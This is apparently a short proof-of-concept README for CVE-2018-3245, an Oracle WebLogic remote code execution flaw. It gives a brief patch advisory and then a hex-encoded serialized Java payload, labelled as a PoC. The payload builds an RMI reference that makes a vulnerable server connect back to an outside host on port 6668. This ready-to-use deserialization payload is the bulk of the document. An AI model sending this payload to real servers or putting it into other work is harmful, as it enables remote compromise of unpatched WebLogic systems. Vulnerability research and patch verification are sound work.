
CVE-2018-3245
CVE-2018-3245
On October 16 local time, and in the early hours of October 17 Beijing time, Oracle officially released the October (Q3) Critical Patch Update (CPU),
which fixed a Weblogic remote code execution vulnerability (CVE-2018-2893) that was not fully patched in the July (Q2) CPU update. The newly fixed vulnerability is assigned CVE-2018-3245.
Oracle has fixed this vulnerability in this Critical Patch Update (CPU). Affected users are strongly advised to upgrade and update as soon as possible to protect themselves.
https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html


jas502n-poc.txt
Payload(hex): aced00057372002f636f6d2e73756e2e6a6e64692e726d692e72656769737472792e5265666572656e6365577261707065725f5374756200000000000000020200007872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a0200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300007870773b000a556e696361737452656600127777772e63616e796f757365656d652e636300001a0c0000000009e0b68e00000000000000000000000000000078
